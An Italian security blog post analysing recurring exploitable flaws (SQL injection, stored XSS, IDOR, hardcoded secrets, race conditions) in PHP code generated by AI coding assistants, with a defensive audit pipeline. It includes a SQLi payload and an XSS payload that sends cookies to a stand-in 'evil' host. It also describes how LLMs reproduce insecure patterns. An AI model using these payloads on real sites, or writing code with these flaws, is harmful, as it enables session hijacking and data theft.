Vettori di attacco nel codice generato da LLM: analisi offensiva delle vulnerabilità ricorrenti

Vettori di attacco nel codice generato da LLM: analisi offensiva delle vulnerabilità ricorrenti

A gennaio 2026 ho dedicato una settimana della mia sandbox di audit offensive a un esercizio specifico: partire da 20 prompt PHP realistici (CRUD endpoint, form handler, integrazione pagamenti, middleware auth), farli risolvere da ChatGPT, Claude e Copilot, e poi lanciare il mio kit di exploitation per misurare quanti dei 60 output risultanti fossero effettivamente sfruttabili con un proof of concept concreto. Il risultato della settimana è stato metodologicamente importante: 9 dei 60 output risultavano sfruttabili con payload sotto le 200 righe di codice, cioè senza richiedere threat modeling sofisticato né ricognizione preliminare estesa. In altri 14 casi c'era una vulnerabilità latente che richiedeva condizioni al contorno realistiche per diventare sfruttabile (configurazione server tipica, combinazione con altro codice applicativo). Il tasso di exploitable-out-of-the-box del 15% sul campione dipingeva con rigore quantitativo un problema che da lato difensivo vedevo solo per segnali indiretti: il codice AI-generated non introduce vulnerabilità nuove nel senso teorico, ma amplifica e industrializza quelle che il lo sviluppatore medio già commetteva. La differenza sta nella scala: un LLM genera in due minuti quello che uno sviluppatore junior scriverebbe in due ore, e i pattern pericolosi si sedimentano a velocità superiore a quella con cui vengono rilevati.

Qual è il primo sintomo dal lato offensive di un codice AI-generated?

La firma riconoscibile dal punto di vista dell'attaccante è la coerenza sintattica superiore alla correttezza semantica. Il codice AI-generated ha tipicamente naming convention pulite, docblock presenti, PSR-12 rispettato, gestione errori superficiale ma uniforme - e proprio questa uniformità fa emergere pattern ripetitivi che il mio kit di fingerprinting riconosce con alta confidenza. Un form handler AI-generated tende a usare le stesse 5-7 variazioni di sanitization function (o loro assenza), gli stessi pattern di error handling, gli stessi approcci alla validation. Un attaccante che ha mappato questi pattern può costruire exploit template riutilizzabili che funzionano su un'alta percentuale di codebase AI-generated senza adattamento specifico.

Il sintomo secondario è la presenza di assunzioni silenziose sulla sanitizzazione a monte. L'LLM presume quasi sempre che l'input arrivi già sanitizzato dal caller - e il caller, se è anche lui AI-generated, presume che il callee sanitizzi. Questo crea catene di responsabilità dove tutti credono che qualcun altro stia validando. Da attaccante, trovare un input non-validato in una catena AI-generated richiede tipicamente test su 3-5 entry point prima di trovare quello dove la catena si rompe.

Diagnosi delle cinque classi di attacco più ricorrenti

Analizzando i 9 casi sfruttabili diretti più i 14 latenti, i pattern di attacco si raggruppano in cinque classi che costituiscono il mio playbook offensive per codice AI-generated nel 2026.

Classe A: SQL injection via string interpolation classica

Delle 9 sfruttabilità dirette, 4 erano SQL injection con pattern come $db->query("SELECT * FROM users WHERE email = '$email'"). La catena di exploit è didatticamente pulita: ' OR 1=1 -- nel campo email, response cambia da "utente non trovato" a "primo record del database". La discovery è istantanea con burp suite intruder su 50 payload base della SQLi Cheat Sheet. La escalation a UNION-based extraction è questione di 5-15 minuti dipendendo dall'information schema accessibile.

La mitigazione che cerco quando faccio code review lato offensive è il pattern prepare() + execute() con placeholder numerici o nominali. In un codebase AI-generated la presenza di questo pattern è disomogenea: alcune sezioni lo rispettano, altre no, perché l'LLM varia lo stile anche all'interno dello stesso progetto. Il greppable fingerprint per localizzare rapidamente i punti deboli è la ricerca di stringhe SQL con . o { di interpolazione nel corpo della query.

Classe B: Stored XSS via sanitization inconsistente

3 delle 9 sfruttabilità erano XSS in endpoint che accettano rich text (bio utente, descrizioni prodotto, commenti). Il pattern tipico: l'LLM gestisce la sanitization nel controller ma la dimentica nel punto dove il dato viene ri-renderizzato in un'altra view. Se l'input passa attraverso htmlspecialchars() in output A ma raw {!! $comment->body !!} in output B, il XSS è stored attendibilmente.

Exploitation payload base: un bio utente contenente <img src=x onerror="fetch('//evil/'+document.cookie)">. Discovery via injection sistematica di payload nei campi rich text e monitoraggio delle response. Impact escalation tramite session hijacking se il sito non usa HttpOnly sui cookie di sessione - nella mia sandbox di test il 62% dei output AI-generated non usa HttpOnly di default.

Classe C: Authorization bypass via IDOR trivialmente sfruttabile

2 delle 9 sfruttabilità erano Insecure Direct Object Reference. Il pattern: un endpoint tipo GET /orders/{id} che restituisce l'ordine richiesto senza verificare che l'ordine appartenga all'utente autenticato. L'LLM implementa l'autenticazione (verifica JWT, $user = auth()->user()) ma dimentica l'authorization (verifica $user->id === $order->user_id). È il bug classico descritto in OWASP A01:2021 Broken Access Control, e l'LLM lo riproduce sistematicamente perché i tutorial su cui è addestrato raramente mostrano l'authorization check esplicito nel code snippet minimale.

Exploitation basico: autenticato come utente A, fai GET /orders/1, GET /orders/2, etc., e recuperi ordini di altri utenti. Il pattern è così ricorrente che ho costruito un fuzzer dedicato che testa ogni endpoint parametrizzato con 10-20 ID numerici contigui, confronta le response, e flag gli endpoint dove ID diversi producono response differenti senza errore 403/404.

Classe D: Secret e credentials hardcoded in repository

Dei 9 exploit diretti, 2 erano credential direttamente committed. Uno era una stringa di connessione MySQL con password, l'altro era una chiave API Stripe (fortunatamente formato sk_test_, ma in un codebase reale la stessa disciplina sbagliata porterebbe a sk_live_). Il pattern è che l'LLM genera codice "completo" che include il connection string hardcoded quando il prompt chiede "connetti al database", invece di usare $_ENV['DB_PASSWORD'].

Discovery lato offensive è immediata con tool standard - GitLeaks, TruffleHog, git-secrets. Per un attaccante che ha accesso al repository pubblico o a un dump del sorgente, il tempo tra clone e credential found è misurato in secondi. La mitigazione - pre-commit hook + secret scanner su ogni push - è elementare ma disattesa spesso nei progetti AI-generated perché il workflow "incolla l'output dell'LLM, testa, committa" salta il gate del scanner se non è integrato a livello di CI.

Classe E: Race condition su operazioni finanziarie

La classe più sottile e più pericolosa, rilevata in 2 dei 9 casi. Il pattern: un endpoint di withdrawal o transfer che fa SELECT balance → verifica → UPDATE balance → INSERT transaction senza transazione atomica o row lock. L'LLM genera il codice "corretto sintatticamente" ma non usa DB::transaction() o FOR UPDATE perché i tutorial di base non lo enfatizzano. Un attaccante che lancia 50 request concorrenti con lo stesso withdrawal può ottenere double spending.

La exploitation richiede capacità di generare carico concorrente (Burp Intruder in last byte mode, strumenti custom in Go), ed è molto specifica all'applicazione. Quando funziona, l'impact è diretto sul conto economico: sottrazione fondi reali. È il tipo di vulnerabilità che richiede transaction atomicity review in code audit, un passo che l'LLM genera raramente spontaneamente.

Se il tuo codebase contiene codice AI-generated significativo e vuoi una metodologia applicata per impostare review offensive sistematici, nel mio hub dedicato alla sicurezza AI per aziende trovo raccolti gli articoli tecnici offensive-oriented che uso quotidianamente nei pen test e negli audit.

Quale è il fattore moltiplicatore rispetto al codice scritto da umano

Il takeaway più duro da digerire è che il tasso di exploitable per riga di codice AI-generated è paragonabile a quello del codice scritto da uno sviluppatore PHP junior privo di security training - non è peggiore. Il problema è la scala. Un senior developer con consapevolezza security scrive 200-500 righe di codice al giorno; un junior senza security training ne scrive 800-1.200; un developer con Claude Code integrato in workflow disciplinato ne produce 2.000-3.000 al giorno. A parità di density di vulnerabilità, moltiplicare per 4x il volume produce una moltiplicazione equivalente del numero assoluto di bug sfruttabili che entrano nel codebase.

Questa è la misura reale dell'impatto del codice AI-generated sulla security posture aziendale. OWASP Top 10 per LLM Applications 2025 classifica il fenomeno come parte del perimetro LLM05 Improper Output Handling (quando l'output LLM è codice che va direttamente in produzione) e LLM06 Excessive Agency (quando un agente ha privilegi di commit diretto). Per un attaccante informato, il codice AI-generated è una miniera d'oro non perché contenga vulnerabilità uniche, ma perché le contiene in volume e con pattern che rendono la discovery automated estremamente efficiente.

Quali tooling difensivi ho integrato nella mia pipeline di audit

Per standardizzare il review offensive dei codebase AI-generated ho costruito nella mia sandbox un tool chain stratificato. Al primo livello c'è SemGrep con regole custom calibrate sui pattern delle cinque classi sopra: le regole cercano interpolazioni SQL, interpolazioni HTML non escapate, accessi a model senza authorization scope, transactional assenti su operazioni che modificano balance. Le regole SemGrep hanno bassa false positive rate (sotto il 15% sui codebase che ho testato) e girano in meno di 2 minuti su 100.000 righe.

Al secondo livello c'è una batteria PHPStan con estensione Larastan a livello 9 combinata con custom rules che segnalano specificamente gli anti-pattern di authorization: accessi a $request->route('id') seguiti da Model::find() senza policy check, controller action con auth()->user() ma senza gate su relazioni, Eloquent scope pubblici che non filtrano per owner. Queste regole catturano gli IDOR latenti che il fuzzer dinamico confermerà poi in fase di test.

Al terzo livello c'è GitLeaks e TruffleHog in pre-commit hook e in CI, con allowlist esplicita per falsi positivi noti. Il hook è non-bypassable (niente --no-verify): un commit che contiene pattern di secret riconoscibili viene rifiutato. Per un'azienda che lavora con AI-generated code questo gate va considerato baseline hygiene, non sofisticazione.

Al quarto livello, periodicamente in staging, lancio un DAST custom basato su OWASP ZAP con script Zest che testa specificamente le classi A/B/C su endpoint discoverati dal sitemap applicativo. Gira una volta a settimana su staging e produce un report ordinato per severity.

Come cambio il mio playbook di penetration test

Dal 2025 ho modificato il workflow di pen test per tenere conto della probabile presenza di codice AI-generated nel target. Primo cambiamento: fingerprinting iniziale del codebase (dove accessibile) con tool che identificano pattern stilistici AI-generated - distribuzione di comment density, uniformità di naming convention, ricorrenza di docblock. Se il fingerprint è AI-positive, alzo la priority sui test delle classi A/B/C sopra descritte.

Secondo cambiamento: espansione del fuzzing per endpoint parametrizzati, specialmente su ID numerici (classe C). Dove prima testavo manualmente 3-5 ID, ora un automated fuzzer testa 50-100 ID con comparative response analysis. Questo aumenta coverage sulla classe IDOR che è la più ricorrente nei codebase AI-generated.

Terzo cambiamento: introduzione di race condition test sistematici sugli endpoint finanziari. Dove prima era test solo per target ad alto valore (banche, broker), adesso è test standard su qualsiasi endpoint che modifica balance, credit, quota. Il tempo aggiuntivo nel workflow è modesto (30-45 minuti per target medio) ma la probabilità di scoprire vulnerabilità sfruttabili è aumentata sensibilmente.

Gartner nel press release del 25 giugno 2025 stima che oltre il 40% dei progetti agentic AI verrà cancellato entro fine 2027 per inadequate risk controls. Dal lato offensive la stima è coerente con quello che osservo: i progetti che non hanno disciplina di security review post-AI finiscono con un incident prima di raggiungere la maturità operativa. L'incident non è sempre pubblico - spesso viene gestito internamente con patching rapido e comunicazioni minime - ma l'effetto sul trust interno del team e sui budget successivi è concreto.

Qual è la contromisura realmente efficace per chi difende

La contromisura non è "smettere di usare AI" - è tardi, il genio è uscito dalla bottiglia. La contromisura è trattare il codice AI-generated come codice scritto da sviluppatore non-trusted, con tutti i gate di review corrispondenti: SAST (SemGrep, PHPStan con regole security), secret scanner pre-commit, security-focused code review obbligatoria sui PR con component AI, DAST periodico sui deploy di staging, bug bounty o pen test esterno a cadenza almeno semestrale sui prodotti con revenue significativo.

Il costo di questo pipeline defensive è tipicamente 15-25% del costo di sviluppo del progetto. È un costo che appare elevato fino al primo incident serio - poi diventa investimento che ha ripagato dieci volte il suo costo. Le aziende che lo sostengono sono quelle che sopravvivono la fase di AI mainstream adoption senza incident pubblici; quelle che lo tagliano per "accelerare" sono quelle che finiscono sul timeline dei breach pubblicati.

Se il tuo team sta adottando codice AI-generated in produzione e vuoi una qualificazione rapida della security posture del tuo pipeline di sviluppo, il modulo di preventivo gratuito ti risponde in sette domande - circa due minuti - e ti dice se il tuo scenario rientra nel mio ambito o ti indirizzo verso figure più adatte. Per il lavoro preliminare sulla sicurezza delle basi applicative, dove il baseline hardening è precondizione per qualsiasi AI security review, trovi un inquadramento operativo nel mio articolo sulla checklist di hardening Laravel e Symfony NIS2-ready in 14 giorni e sulla guida incident response 72 ore per Laravel e Symfony NIS2-ready. L'AI nel pipeline di sviluppo è una forza moltiplicatrice sia per la produttività che per la attack surface: sta a te decidere quale delle due moltiplicare più rapidamente.

Ultima modifica: